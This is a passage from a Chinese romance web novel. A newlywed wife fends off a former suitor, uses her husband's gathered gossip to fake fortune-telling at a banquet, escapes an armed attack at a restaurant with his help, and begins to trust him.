“哎……”郑瑶转过身,似是想拉住她,但旋即想了想,又将伸出去的手收回来了。 姚戚香打算在附近逛园子透透气,等正式开席了再回去不迟。 席面后头是一处假山,假山后花丛簇簇,足有一人之高,姚戚香身边跟着茗玉,并不怕走丢,便散漫了些,谁知走到一处时,迎面撞上一人。 姚戚香看清来人,一愣,倒是与她先前的料想重合上了,可她如今已经用不上了啊。 姚戚香微微向宋世安颔首,本想就此借过,可宋世安却将身横过,拦住了她的去路。 “怎么?”姚戚香的神色已经冷了冷。 宋世安见她这样,忙道:“姚姑娘不要误会,我并无意唐突,只是想问一句,姑娘在孟家过得好不好?” 姚戚香垂下眸眼波流转,模棱两可:“你那日不是看到了吗?我在姚家说的话,可都是真话。” “我就知道!那孟扶危绝对护不住你!”宋世安很是气愤,“都怪我……怪我没有仔细说清,我到现在也想不通,分明你才是姚家长女,为何会错定了呢?” 他这两句倒是说得真情实感,姚戚香想,若是当时邓氏不抢这门亲,她说不定还真只有宋世安这一个选择。 “宋大人说笑了。”姚戚香淡淡,“木已成舟,何必说这些废话。” 宋世安垂眼向她看来,他生得清俊,一双丹凤眼,沉下脸来的时候却显得有些狠厉。 “若我说,我有把握将你抢过来呢?” “?”姚戚香根本不慌,她甚至凉凉嗤笑了一声,“好啊,我倒要看看你拿什么跟孟扶危抢。” 她徐徐闪着手中的扇子,慢条斯理绕着宋世安转了半圈,道:“宋世安,我嫌贫爱富,最好荣华富贵,你不走到位极人臣,可别说要我。” 随着她这句话吐露,宋世安的表情明显一怔,像是有些不可思议。 姚戚香扫了他一眼,转身欲走,却被宋世安再度拦下了。 “你是在劝我?”他的眼中竟有一丝狂喜,“你在意我,是不是?你怕我会得罪了孟扶危。” 姚戚香看着他,竟觉得他有些失心疯了,当初刚得知宋世安上门提亲的时候,她说什么来着,她绝不会嫁给宋世安这种人,现在看来,她还真是没有判断错误。 宋世安见她不语,跟着道:“孟扶危对你不好,你看今日的席面,摆明了就是赵家主母想找你算账,他那样的人拒了赵家还不是轻而易举?他就是没把你放在心上!” 姚戚香有些担心,若是此刻这样的情状让别人看到,她恐怕浑身是嘴也说不清。 于是,暗暗地,姚戚香缓缓摸上脑后的簪子。 倘若她此刻刺伤了宋世安…… “那你觉得,理应如何?” 一个声音响起,让说话的两人同时身形一颤,孟扶危便站在不远处,羽色长衣绣着银纹,双目疏冷,矜贵从容。 姚戚香一噎,完了…… 宋世安皱眉,道:“自然是好好护着……” “你既如此多谋善思,缘何未能如愿呢?”孟扶危缓步走近,不紧不慢拦在了二人之间,示意茗玉带她离开。 “还能因为什么?”宋世安眼睁睁看着姚戚香从孟扶危身后离去,冷眼瞪着孟扶危,“不过你运气好些,我运气差些罢了。” “是吗……”孟扶危声音轻轻,像是对这句话并不在意。 可是慢慢地,宋世安看见他那张冷然的眸中裂出一丝恶劣的玩味,他目光投下,仿佛只是在看着一枚已然被丢弃的无用棋子。 “并非如此。”孟扶危的声音中甚至带着一丝戏谑,与他冷漠的声线对比格外明显,“小宋大人,那日你去寺中求签,给你解签的,是我的人。” 宋世安浑身一震,猛然抬眸。 孟扶危缓缓压低身形,在他耳边道:“那你不妨再猜猜,设计你去求签的,是谁?”【你现在阅读的是 】 20-30 第21章 第21章 你我是夫妻,夫妻本为一体 正是艳阳高照, 百花争艳,宋世安站在园中,却莫名觉得脊背生寒——他清楚地记得, 去求签是因为听说了一句露缘寺求姻缘很灵, 可具体是在哪里、听什么人说的,他已经完全想不起来了。 最重要的是,整个过程, 他从未觉得是被人设计的, 他的想法产生得自然而然,分明就是他自己想要做的,包括去姚家求亲,分明是他早就想做的。 “……你、你少诓我!”宋世安道, “不可能, 你以为你是谁?你觉得我去姚家提亲是看上了姚家的门第不成?你根本就不了解我!” 孟扶危收回了那一瞬间的异常,他很快又恢复了淡然的模样,仿佛刚刚目光玩味的人不是他。 “是你不了解姚家。”他轻描淡写,已然越过宋世安身侧,将疑虑又抛了回去。 宋世安这枚棋,在这桩婚事尘埃落定的时候, 就已经废了。 至于他为何要同他废话这几句呢?那自然是……他乐意。 今日, 孟扶危感到愉悦- 那厢,姚戚香已经回到了席面上, 她惊魂未定,还未从方才的事中回过神来。 宋世安此人, 果然是条疯狗,姚戚香甚至庆幸,还好那日回门她撞上了宋世安, 如若不然,真在宴上见了,此人怕是会直接对她动手。 且他纠缠不休,也不知后面会同孟扶危说什么混话…… 姚戚香低垂着眼,乌黑的眸中掀起一丝戾气——不如,将他彻底解决了。 可就算要解决,这也是后面的事,眼下怎么办? 这是第二次叫孟扶危撞见她与宋世安了,上次在姚家好赖说还有旁人在场,孟扶危都像是有些生气的样子,今日却只有他们两个,宋世安还说了那些疯话,会不会被误会她与宋世安有染?或真有什么旧情? 然后孟扶危便可顺理成章休了她。 断不能如此,她若成了孟家弃妇,那便什么都做不成了。 “孟夫人、孟夫人?”郑瑶在她身侧开口,“你想什么呢?你刚刚去哪儿了?” 姚戚香回神,道:“我叫姚戚香,你唤我名字便可。” 孟夫人这三个字,她实在有些不习惯。 “哦……戚香。”郑瑶道,“你放心,刚刚你走了,席面上也没掀起什么风波来。” “嗯……多谢。” 此时已经开席,席面上的人多在做着自己的事,没什么人注意这边,姚戚香便也开门见山。 “郑瑶。”她道,“我这人说话不喜欢绕弯子,你告诉我,今日宴席,你为何对我示好?” 郑瑶先是一愣,随后眨了眨眼,道:“是……是因为,我是武将之妇,在这些人中,并不得脸。” 朝中重文轻武已有多年,太平盛世,武将向来是不受待见的。 所以郑瑶这才找上了同样不受待见的她? 姚戚香失笑,这样的缘由总比那些假惺惺贴上来的要好多了。 席面上的东西向来是填不饱肚子的,姚戚香心中有事,自然也只是挑挑拣拣吃了几口,她今日赴宴的目的只是为了认人,以免今后遇上,她总不能连是谁都不知道。 可她想安生,别人却不愿意就这样令她安生。 “姚娘子,为何不吃呀?是这些菜不合你胃口吗?”马氏突然开口,笑着朝她看来。 姚戚香正要开口作答,就听见马氏身边的妇人笑道:“今日席上的菜自然是极好的,只不过姚娘子眼光甚高,只怕是早已享用过更好的了吧?看不上这样的也是应当。你们听说了吗?当初宋家也向姚家提亲,却被推了,紧跟着姚娘子就嫁去了孟府。” 宋家的提亲被推了?姚戚香居然还是从别人口中得知,怪不得今日宋世安找上门来,原来他将姚家的亲退了,不知最后他们是如何商议的,总之结果便是宋家向她提亲,她没应,只等着攀孟家的高枝。 “啊?竟然还有这等事?快,快同我详细说说。” 那妇人的话如一石激起千层浪,紧跟着就有人追问。 “嗨呀,这都不是什么新鲜事了,怎么你们没听说吗?原本上姚家提亲的,是宋翰林宋家,可最后不知怎的,突然就成了孟家,姚家外面的街坊看得真真是,是宋家先上的门,之后才是孟家。” “怎么?”有几人齐齐向姚戚香望来,眼神带笑,“难道姚娘子能掐会算,断定了自己能嫁入孟家不成?否则宋家这好好的亲,怎么就给退了呢?” 姚戚香沉默不语,这些底,显然是姚家有人向她们透的,想都不用想也知是那从见不得她好的邓穗音,宋世安退了姚家的亲,只怕邓穗音更对她恨之入骨。 可席面上这些人的底,她一概不知,总归只是几句嘲弄,又影响不到她身上去,姚戚香预备不予理会。 然而此时,茗玉将她面前的茶盏换了一杯。 姚戚香一直低着头,然后就看见茗玉换给她的茶碟边缘,竟然写着两行字——马氏的表妹,其夫在兵部当差,膝下有一女柳姐儿,年十六,此刻正在与人策划私奔。 姚戚香惊讶的表情险些没能藏住。 她懂了。 她缓慢放下了筷子,坐直了身子,看向说话的妇人,道:“你怎知我会些卜算之术?当初宋家向姚家提亲,我便在家中卜了一卦,卦象显示不吉,这才没应。” 挑拨的妇人显然一愣,半晌,她嗤笑:“姚娘子倒也不必说这种笑话来诓我。” “你不信吗?”姚戚香道,“不信的话,请您眼下速速派人回趟家吧,有些话我不便多说,但夫人要相信我这是为了你好。” 妇人缓缓皱眉:“你疑神疑鬼地说什么呢?” 姚戚香看着她,有些遗憾地摇了摇头,道:“既然夫人不愿信我,那就罢了,我也只是看在今日相识一场的份上,好心提醒你一句罢了。” 她神色认真,说得玄乎,弄得那妇人心中也有些七上八下,沉默片刻,看向身边的心腹婆子道:“你去家里看看,我倒想知道,我这家里发生了何事。” 婆子应声去了。 这下,本来等着看姚戚香热闹的人,一下子都安静下来,面面相觑——真有这么玄乎? 自然有不信邪的。 又有一年轻女子开口:“姚娘子这话也就骗骗长辈们了,可诓不住我这个小辈。” “是不是诓骗,等人回来便可知晓了。”姚戚香又拾起筷子,正欲吃些什么,身后的茗玉近前,替她盛了碗汤。 “你真有这个能耐,可能算出我什么?” 姚戚香看向她:“多的话我说了你也听不懂,我只告诉你一句,你家中有失水之象,近日破了笔大财,如若不多加注意,今后还会财力外泄,耗空家业。” 年轻女子怔了怔,昨日,她娘家的弟弟在外赌博,输了好几百两银子,她母亲写信跟她哭诉,她也是今早才知晓这个消息。 她忍不住问:“要、要如何才能改善呢?” 见她都这样问了,周围人便知这是被说中了。 姚戚香只能胡诌:“接下来的时日,让破财之人少出门,避过这阵便可。” 年轻女子若有所思地点了点头。 席面上的人一时无话,姚戚香垂眸暗想,茗玉为何会知晓这些人的底细?而且是如此私密的事,竟连谁家的女儿什么时候私奔都知道。 她是孟扶危的人,这些事,难道是孟扶危告诉她的? 过了一会儿,被派出去的婆子慌慌张张地回来了,跑到自家主子身边,低声说了几句话。 那妇人唰一下变了脸色,连战都站不稳了,被那婆子用力搀着才起了身,连一声场面话都顾不上说,匆匆忙忙往外走。 众人看得真真的,马氏那表妹的脸色,可真能说一句惨白如纸! 真是神了! 眼看着方才的话题差不多被盖了过去,姚戚香正欲起身,没想到被离她最近的妇人一把抓住了手。 “天菩萨保佑!孟夫人!你能不能帮我也算算!我多年无子,究竟什么时候能够怀上?” 姚戚香怔了怔,下意识看向茗玉,只见茗玉手心只写着一行小子:此人与小叔子有染。 啊……啊??! 姚戚香连忙拂开了妇人的手抽身走了,这一桌子人里,还能出一个正经的吗? 席中,唯马氏神情阴郁。 “跟孟扶危说一声。”姚戚香道,“我想先回去了。” “娘子上马车稍候,公子即刻出来。”茗玉道。 姚戚香本以为茗玉会去知会孟扶危一声,刚想说不必了她先回去即可,可茗玉说完,竟然就在马车旁边站定了。 姚戚香愣了愣,开口:“孟扶危……让人监视我?” 否则他怎么知道她要走了,一会儿就会出来? 茗玉神色平静道:“公子只是在今日留了天禄守着娘子这边,担心席上出现什么意外。” “那你提供给我的那些小字是?” 茗玉:“赵家宴请的名单,公子早就拿到了。” 也就是说,那些人的私事还真是孟扶危让人去调查的……原因呢?难道只是为了替她在今日解围?可孟扶危为什么会如此清楚她喜欢通过揭别人的短来解围? 还是……他本来就要查这些,只是送她个顺水人情? 无论如何,今日孟扶危都算帮了她,再加上宋世安的事,姚戚香总觉得心里有些没底。 没过多久,马车的帘子被掀起,孟扶危进了马车,衣袂浮动间带起一阵兰香。这马车里不算狭小,但到底是个密闭的空间,他一靠近,姚戚香便感觉到一阵无形的压迫,明明没那么夸张,却觉得孟扶危的身形如山一般压来。 她到底是主动开了口:“今日……我是意外撞上宋世安的,我不知……” “我知道。” 她还没说完,孟扶危就回了这句。 姚戚香顿了顿,转念又想,难道那个时候,天禄就已经在她附近了?也是,天禄一定将她与宋世安如何遇上,宋世安如何纠缠,都与孟扶危说清楚了,不关她的事。 她忽然对孟扶危派人监视她一事松了口气。 好,不提此事。 那…… “你让茗玉替我解围的事,也多谢,若你今后有什么需要我的地方,也尽可吩咐了。”她尽可能将这话说得公事公办些,以免孟扶危误会她因此对他有了什么旁的。 可孟扶危竟是朝她看来,他说:“姚戚香,我告诉过你,你我是夫妻,夫妻本为一体。” 姚戚香看着他认真的神情,又开始拿捏不准了。上次孟扶危这样说的时候,她甚至还有些嗤之以鼻,觉得这些不过是孟扶危说的场面话罢了,怎能真的当真呢? 可这回,她却没有立场反驳了。 宋世安说她今日不应出现在赵家的席面上,是孟扶危不在意她,所以无所谓她来,姚戚香本对这句话并无感觉,因为她本来就不觉得孟扶危应该迁就她,他在朝为官,本来就有他的应酬。 可孟扶危没有真的置她不顾,他将席面上每一个与她为难的人,家中的阴私都挖了出来,让茗玉传递给她,叫有意想为难她的马氏没了由头。这就算是孟扶危捎带送她了个人情,姚戚香心中也是感激的。 从小到大,她只知道她靠不了别人,她永远只有自己,与她连着血亲的姚振廷尚且冷漠不堪依靠,她没想到,她盲婚哑嫁的夫君,居然会愿意为她筹谋这些,哪怕他也仅仅是为了他自己的体面。 这桩婚事,已经在她不抱一丝希望的情况下,变成了她所能想到最好的模样。 孟扶危并未真的将她视作仇敌。 “听天禄说,你在席上并未吃多少,是饭菜不合口味?”孟扶危问。 姚戚香摇了摇头:“想吃的东西不在跟前,懒得去动了。” “还想吃羊肉炙吗?”他出声。 姚戚香眼前一亮,那自然是想的。 不等她回答,就听孟扶危对外道:“去千味楼。” 马车徐徐行驶,姚戚香忍不住看了孟扶危一眼,很快她收回目光,转而投向窗外。 须臾,她又忍不住,回头看了孟扶危第二眼。 孟扶危……当真将她当做妻子吗? 初春已过,天气越来越暖和了,吃羊肉炙的人比上冬天少了大半。 姚戚香随孟扶危上了二楼的雅间,她之前很少在外面吃饭,对千味楼的特色更是一窍不通,上回过来也只是点了两三道菜,于是点菜的事便交由孟扶危了。 他娴熟地点了几道菜,千味楼的菜名多用得风雅,除了羊肉炙,好几道菜姚戚香连是什么都没听出来。 只是在无声中,她忍不住又瞧了一眼孟扶危的样子。 他当真是端方君子,温润如玉,便是什么也不做,单是坐在那里就足够养眼。若是正经夫妻,姚戚香怕是夜里做梦都要笑醒。 可偏偏她是被孟扶危的继母选中的,孟扶危就算对她再好,也不可能对她不设防吧? 她想打破眼下的僵局,可若她贸然向孟扶危投诚,怕是会被怀疑。等她解决了孟元德的事,再向孟扶危投诚,胜算会大些。 姚戚香开口:“横竖今日出来了,一会儿我想回趟姚家。” “我陪你去。”孟扶危道。 姚戚香没有提出异议。 今日的菜点得不错,几乎每一道都是姚戚香爱吃的,她这些年吃惯了清汤寡水的东西,只要菜做得有滋有味些,她便觉得满意。 吃到一半的时候,楼下忽然起了争执,为首的大汉骂骂咧咧的,像是外邦人,说的字她一个都听不懂,小二上去拦他,却被一把推开,撞歪了一张桌子。 姚戚香下意识看向孟扶危,她问:“这些人说的是什么话?” “他们是邬国人。”孟扶危道,“他们是在说,他们的菜中少放了盐,质问小二是怎么回事。” “真的没有放盐吗?”姚戚香好奇。 孟扶危点头,他道:“邬国人占了我朝一处盐矿,陛下下令但凡是邬国人,都禁止向他们售盐,无论是以哪种形式,不过已经是十几年前的事了,在此期间,也几乎没有邬国人会到盛京来。” 姚戚香思索:“可他们眼下来了,又不是商人打扮,反而有些像是军汉,这是不是说明他们没有盐了?” “不好说。”孟扶危起身,“天禄,去备车,这伙人像是故意寻衅,我们不要久留,先离开这里,再着人去通知巡防营。” “是!”天禄立刻离开。 可他刚出了千味楼,仿佛应证一般,千味楼中突然冲进好几个身强体壮的邬国人,人人佩刀,凶神恶煞地冲进来见人便杀,由于事情发生得太快,许多人都反应不及,有几个因为争执想要离开的客人直接被对劈成了两半。 血溅三尺,姚戚香惊得睁大双眼。 “跟我来。”她指尖一热,竟是孟扶危握住了她的手。 茗玉被她打发去叫红绡了,那些邬国人将门口彻底堵死,天禄好像是个会武的,也不知道能不能闯进来…… 听着楼下的尖叫声和厮杀声,姚戚香心若擂鼓——她身边竟只剩下一个孟扶危了。 楼下为首的邬国人大声叫嚷起来,他先是用邬国话喊了一声,又用汉话道:“都别动!我们兄弟几个穷途末路,只为求财,不想杀你们,识相就乖乖站在原地不动,奉上你们身上的钱财,拿了东西我们就走!” 听见他这样说,已经有好些客人哆哆嗦嗦将自己身上的财物丢了下去,姚戚香下意识也松了口气,没想到此时孟扶危在她耳后道:“别听他们的话,这些人绝不是为求财来的,二楼拐角处有扇窗,天禄会在外面接应你,我放你下去,你不要怕。” 姚戚香怔怔,这是什么意思……那这些邬国人究竟想做什么? 闯入千味楼的邬国人大约有二十多名,且每人身上都带着弯刀,几把刀上甚至都已经染了血,放话的大汉再次强调道:“都给我乖乖站在原地别动!否则我见一个杀一个!” 姚戚香看向孟扶危所说的拐角处,同他们所在的位置在一个对角,距离他们这边比较近的是楼梯,而那些邬国人已经在往楼上闯了。 孟扶危当机立断,紧紧牵着她就往对面走。 “那两个人你们干什么!找死!杀了他们!”大汉喊了一声,那些上楼的邬国人明显加重了脚步,姚戚香心都要提到嗓子眼了。 眼看这些人马上就要追过来了,姚戚香不禁想,这么短的时间,就算她从窗口跳了下去,孟扶危也来不及! 倘若他们刚刚就留在原地不动,这些邬国人当真会杀人吗? 窗户的位置离他们到底是远了些,还剩三五步距离时,便已经有两个邬国人追了上来,染血的弯刀毫不犹豫朝着他们劈下,姚戚香下意识伸手去挡,脑子里却是一片空白。 忽然她发间一痒,紧接着一道热血溅在了她的手臂上,姚戚香睁眼去瞧,只见冲到她跟前的那个邬国人已经被抹了脖子,而孟扶危手中的武器居然是她的簪子! “别怕。”他的声音依然沉稳有力,不见丝毫慌乱,姚戚香背对着他,看不见他的表情,只能听见他连气息都没有丝毫紊乱。 她被孟扶危扯到了身后,紧接着他又用同样的方式杀了第二个邬国人,短短的一根簪子在他手中动得灵活飞快,简直比刀还要好用。 姚戚香恍神了一瞬,立刻转身去推身后的轩窗,窗户打开,天禄果然等在下面,他没有备车,备的是两匹马。 “姚娘子!你放心跳,我定能接着你!” 姚戚香却看见有更多的邬国人冲上楼梯,向这边杀了过来。 “孟扶危,你怎么办?”她急切道。 “你先下去,我跟着你。”他将手中的武器换成了邬国人的弯刀,又杀了两人,连头也没回。 姚戚香知道事不宜迟,一把翻上窗户,咬着牙跳了下去。 被天禄搀着坐到马上的时候,姚戚香心中充斥着不真实感,她方才竟亲眼瞧见了一场厮杀,那人被劈成两半的样子甚至还清晰地印在她脑海里。 可待她缓过神回头时,却并未看见孟扶危。 姚戚香心口一紧,声音都哑了:“天禄……他没出来……” 不知道里面发生了什么变故,窗扇被一刀劈开,露出里面一角来,可姚戚香却并未看到孟扶危的身影。 他人呢? 天禄见状也是一怔,但随即便回过神来,对姚戚香道:“我先带娘子离开。” 他身为孟扶危的护卫,不去里面探孟扶危的情况,竟然要先救她? “那他怎么办?” 天禄开口:“娘子放心,公子身手不差,自保不成问题,应该是里面有了新的状况,公子一时抽不了身,那些邬国人伤不了他。” 第22章 第22章 他就算脱光也难以证明什么 姚戚香回到了孟府时, 脑中还不断回想着方才发生的一幕幕,她越想越觉得后怕,甚至有些恐慌——万一孟扶危死了怎么办? 她刚过门几日的新妇守了寡, 不用想外面还会传一些关于她不祥的传言, 那她以后的日子会更加艰难,孟扶危一死,常氏定也将她弃若敝履。 可比起这些, 姚戚香更担心的是孟扶危真的死了, 他当时完全可以先离开的,却选择先将她这个累赘救了下来,她不知道当时发生了什么变故,孟扶危怎么会没有下来呢? “你的脸色很差, 怎么了?”红绡出声。 姚戚香想了想, 还是将事情的经过同红绡讲了,红绡听完没什么反应,只是淡淡安慰她:“放心,孟大人位高权重,不会轻易出事,就算是被邬国人擒住, 活着的价值也比死了好。” 不得不说, 红绡这句话当真让姚戚香的心思放松了些许。 见她说完,姚戚香的脸色并未好转, 红绡道:“不如告诉你一个好消息?你让我查的那个孟元德,最近迷上了迷迷坊一个叫曼荷的姑娘, 已经接连几次都去找了,中间并未换过别人。” 姚戚香抿了下唇,要是孟扶危没了, 她弄这些还有什么意义?眼下最要紧的是他没事。 “我知道了。”姚戚香面色依旧难看,“机不可失,你悄悄去姚家,替我办一件事。” 须臾之间,姚戚香决定了一件事——就算孟扶危真的出事了,她也要在自己彻底失势前做完这一件事。 从午后等到傍晚,姚戚香如坐针毡,松风堂此刻只剩下几个寻常洒扫做饭的下人,她又不能表现出着急的样子,否则要是让云栖堂那边知晓,只怕是会乱上加乱。 终于在晚饭前,天禄终于回来,道:“娘子放心,公子没事,只是今夜要回得迟了,娘子安心用饭。” 姚戚香才舒了一口长气。 “他受伤了吗?”她问,“是不是查到什么了,才没来?” “公子并未受伤。”天禄答道,“娘子说得不错,今日那批邬国人并非寻常人士,而是专人豢养的一批死士。” “死士?”姚戚香怔怔,既然是死士,那绝不会是机缘巧合来了千味楼,绝对是有备而来的,如果是冲着孟扶危来的,他们不会不认识他,那就是当时的千味楼中另有其人了。 “我知道了,多谢。”姚戚香没再多问,此事或许有关朝廷机密,她也没什么兴趣。 心头压着的一件事终于落下,孟扶危没事,姚戚香安心吃了晚饭。晚些时候沐洗过回了房,红绡正在房中等她。 “怎么样?”姚戚香问。 “画像我放好了。”红绡道,“药我也下了。” 她似是觉得有趣,坐在桌子上看着姚戚香道:“我知道你想干什么了,而且我还能助你一臂之力,想不想试试?” 姚戚香好奇:“你如何助我?” 红绡勾了勾唇:“我会口技,我能模仿那曼荷的声音。” “真的?”姚戚香激动地站起身,“好乖乖,如果你真会这个,以后给你的月钱再提三成!” 听见她的昵称,红绡别扭地抓了抓后颈,她主动跳下桌道:“你等着,我去给你办!” 姚戚香看着红绡离开,满意得直点头。 正准备安寝之时,外间的门被推开,听见这个声音,姚戚香便知是孟扶危回来了。 她连忙起身,又在屋里添了两盏灯,巴巴等着孟扶危过来。 他换了身纯色的黑衣,甚少见他穿如此简素的衣服,许是今天刚见他杀人,姚戚香只觉得孟扶危通身泛着股肃杀之气。 “你回来了!”姚戚香忙起身,“可吃过晚饭吗?事情处理得怎么样了?” 今日孟扶危救了她一命,姚戚香心里很是感激。 “还不曾。”孟扶危先回答了她第一个问题,又道,“事情处理得差不多了,那批死士只留下一个,其余的都自尽了,正在审。” 姚戚香点了点头,她不关心后者,试探着道:“我……去让下人准备些吃食来?” 孟扶危摇了摇头:“不必了。” 现在已经过了酉时,他从不在这个时候吃东西。 姚戚香捏了捏指尖,又问:“那……我去给你做些点心?” 孟扶危本欲再次摇头,可当他对上姚戚香那双隐隐期待的眼睛,又点了头:“也好。” 姚戚香满意地起身去了厨房,若不做点什么对孟扶危回报些许,她浑身都不痛快。 姚戚香的厨艺算不上多好,但是这道点心是她从小跟娘学的,是为数不多能拿得出手的之一,而且做不来不必费多大精力,只要面点揉捏得当精到,口感就会非常不错。 只用了半个时辰,姚戚香便将烤好的小酥饼拿了上来,香味溢满房间,这个时候是最好吃的。 孟扶危拿了一块,慢慢品尝了,矜持道:“不错。” “那你多吃几块!”姚戚香把盘子往他面前推了推,“我自知是比不上府里的点心师傅,但好歹也不会难吃!” 她示好的态度太过明显,无论是谁都能轻易瞧出来。 孟扶危吃了她的酥饼,开口:“今天的事,你不必放在心上。你是我的妻子,我自然要先救你。” 姚戚香摇了摇头,她轻笑:“不,你不懂的。” 从小到大,没有人这样对过她。 今日哪怕在她身边的是姚振廷,这个唯一与她有着直接血缘关系的人,她都能笃定自己无法全须全尾地逃出来。 孟扶危……他真的很好。 姚戚香今日突然明白,往前那些日子,是她以小人之心度君子之腹了,也许孟扶危从始至终都没想过要拿她算计什么。 他是真君子,不屑在内宅之事上玩弄权术。 “我心里很感激你,你今天救了我,我这辈子都会记得。”姚戚香道,须臾,她像是下了某种决定,开口,“实不相瞒,婆母选我做你的正妻,就是想要我听她的话一起对付你,你知道的,我这个人名声不好,很难有一桩好姻缘,孟家提亲前夕,我继母将宋家的婚事给了我二妹,正打算将我送去乡下的田庄,若我去了,只怕就活不了多久了,所以我只能应下孟家的婚事。” “而且……”姚戚香抿了下唇,“我也当真看上了孟家的门第,当真想要借着这桩婚事往上爬。” “不过你放心,我不会受婆母摆布,我也不会害你,我有我自己想做的事,除此之外我什么都不关心,你若愿意,就这样与我相安无事,等将来有一日你有了心仪的女子,要娶她过门,我们便客客气气和离。” 姚戚香觉得,她很坦诚了,比新婚之夜那个晚上还要坦诚。 孟扶危是个好人,她不想欺他骗他,她的刀尖向来只会对准真正的敌人。 说完后,她沉默着,等待着孟扶危的答案。 半晌,孟扶危开口:“姚戚香,我没有要和离。” 此话一出,像根针一样掷地有声,姚戚香愣住:“什么?你不和离?” “嗯。”他道,“我说过,你我是夫妻。” 姚戚香不可置信地问:“所以,你真的愿意和我过一辈子吗?” 孟扶危没有正面回答,他罕见地勾了下唇,轻声:“等你做了孟家主母,就再说吧。” “……”姚戚香反应了一下,这是她当日招揽红绡时说过的话! “是茗玉跟你说的吧!”姚戚香也无奈笑出声,“好吧,我会跟钟嬷嬷好好学东西,早日从你继母手中谋得主母之位的。” 她还是存了些私心,如果孟扶危愿意推波助澜,那她在孟家只会更如鱼得水,这实在没有理由拒绝。 今夜屋内的氛围难得轻松起来,好似房中的夫妻二人,关系终于从陌路人交心了几分,姚戚香也畅快,她正准备歇了,就听见身后孟扶危又在唤她的名字。 “姚戚香。”他总是这样连名带姓地称呼她,即便他口吻很温和,可每次姚戚香听到的时候还是会冷不丁一颤。 “你似乎忘了一件事。” “嗯?”姚戚香回头,“什么事?” 孟扶危欲言又止。 姚戚香这还是第一次看见孟扶危有话说不出,她更好奇了,再次追问:“什么事?你倒是说呀。” 那边,他拾起漆黑的眸子,染了几分暗色的,朝她投来。 “你我还未圆房。” 这下,屋里当真静得能听见掉下一根针了。 姚戚香缓缓睁大双眼,她怎么把这茬忘了!? “你、你不是有隐疾吗?”她到底还是把邓穗音卖了。 然后便见孟扶危眸色明显一暗。 他起了身朝她走着,从容缓慢,道:“你不是说我很行吗?” 他的神色没有丝毫波动,仿佛说的只是一句再正经不过的话,甚至会让人错觉他真的只是在单纯疑问罢了。 荒谬!唐突!这哪里是一个真君子应当说出的话! 一片红云渐渐爬上姚戚香后颈,紧接着到了双颊,她下意识往后退着,眼神飘忽:“这……这不过是权宜之计,我又不知道……” 孟扶危已然靠近,他就站在床边,居高临下地看着她,一只手顺势搭上自己的腰带。 姚戚香心中忐忑极了,连呼吸都开始变轻,她倒也不是抗拒,就是想到一会儿要和孟扶危……坦诚相见,她就觉得哪里都不自在。 可与此同时,她脑海中又不觉浮现出那晚看见孟扶危散了发坐在床上,他领口极低,胸口的肌肉若隐若现,叫她下意识错开了眼,又忍不住回头再看了一眼。 就在姚戚香心猿意马之际,她亲眼瞧着孟扶危身上那件寝衣从他身上滑落,露出与他印象不符的,起伏漂亮有致的身形来,一览无余,姚戚香简直不知道自己这双眼睛究竟要放到哪里。 “你先熄灯。”她妥协,要她在这样明亮的屋子里,那她决计不行。 烛光映在他眼底,他眼中分明没有笑意,可姚戚香竟错觉孟扶危在笑。 就在她以为孟扶危要倾下身、压下来了的时候,她听见头顶飘来一句:“放心睡吧,我去更衣。” 然后他便转身走了,姚戚香望着他颀长的身影,看着落在床榻上的那件黑衣,才反应过来,孟扶危今日的衣服上染了血,这件黑衣应该不是他的。 所以他才要脱下来,而非…… 他刚刚当真不是在戏耍她吗?姚戚香不禁怀疑,可孟扶危从头到尾的表情都正经极了,他看上去像是那种绝不会开玩笑的古板性子。 扑通一声,姚戚香倒了下去,躺回了内侧,今日过度的精力消耗使她昏昏欲睡。 而另一边,孟扶危换了寝衣,目光幽微——他本想解释之前青楼的误会,可他发现自己就算脱光了衣服,也难以证明什么。 破天荒地,他忍不住想,为何男子身上不能有守宫砂之类的东西呢? 这样看过去,才足够一目了然。 第23章 第23章 肌肤之亲 姚戚香做了个梦, 她梦见自己忽然回到了成婚的那个晚上,梦里的场景熟悉又陌生,可她很清楚自己身在孟府, 然后没有了常氏的出现, 没有了下人,有的只是孟扶危。 他坐在桌边,然后忽然起身向她走来, 他开口:“你我还未圆房。” 梦里的声音和梦外他的声音重叠起来, 环绕似的落在她耳畔,姚戚香说不出话来,她只能坐着,看着孟扶危朝她慢慢走近, 而后她鼻尖便嗅见一股兰香。 这是孟扶危身上的气息, 自成婚以来,她嗅见过无数次,每每与孟扶危一处时便有,很淡很淡,很容易让人忽略。 可在梦中,姚戚香竟产生了一种从未有过的熟悉感, 好像曾几何时, 她也在哪里闻到过这个气息……哪里呢? 来不及去深想,孟扶危已然衔了她的唇, 在轻轻吻她,那种触感极为真实, 连姚戚香自己也不知道,她分明没有与人这样亲密过,为何梦中会这般真实, 她甚至因为这股受力,在慢慢往后退。 他的手在她身后,拂落了她肩上的长发,掌在她脑后,将这个吻继续得愈深了几分,也拂落了她的衣衫,而她的手下意识抵上孟扶危的胸膛,连触感都那样真实。 肌肤之亲。 极为真实的体验,让姚戚香一下子惊醒,她望着漆黑的帐顶才意识到自己方才只是做了一个梦,竟然做的还是那样的梦。她抚上自己怦怦跳动的心口,小脸通黄地坐起身,才发现身侧的位置是空的,孟扶危并不在。 咦?难道从刚刚去更衣后他就没有回来过吗?因为做梦,姚戚香也不清楚时间究竟过去了多久。 她心中突然生了个念头——孟扶危是不是受伤了?今日天禄来禀报,会不会是瞒了她什么的? 刚刚孟扶危脱衣的时候她也没敢细看,回想起今日在千味楼中那般凶险,孟扶危真能毫发无伤吗? 想到此,姚戚香连忙起身下了床,她踩上软底鞋,慢慢朝着后面有光的地方走着,走得悄无声息。 隐隐约约的,她好像听见一些声音,慢慢离得近了,她才听清这声音应该就是孟扶危的。 她听见几声短促的喘息,姚戚香心中一紧,下意识想他果然受伤了吧?而后便急忙往那边的屋子走,可走得近了,越来越近了,几乎仅仅数步之遥的时候,姚戚香才突然反应过来这声音是有些不对劲的。 不、不对,好像不是痛呼…… 姚戚香怔住,孟扶危是在……他是在…… 突然意识到什么的姚戚香像是燃着了的火,浑身都滚烫起来,她急急忙忙转过身往来路上走,第一次撞见这样的事,让她脑袋里一片空白。 原来……原来方才那个时候,孟扶危是真的想和她圆房吗?他并非在戏弄她,而是真的在询问她?莫非是看出她的抵触,他才改口要去更衣的? 姚戚香走得飞快,脸都快要烧红了。方才她走到门外,险些就要推门进去了,孟扶危应该没有听见她的声音吧?还是赶紧回去睡觉。 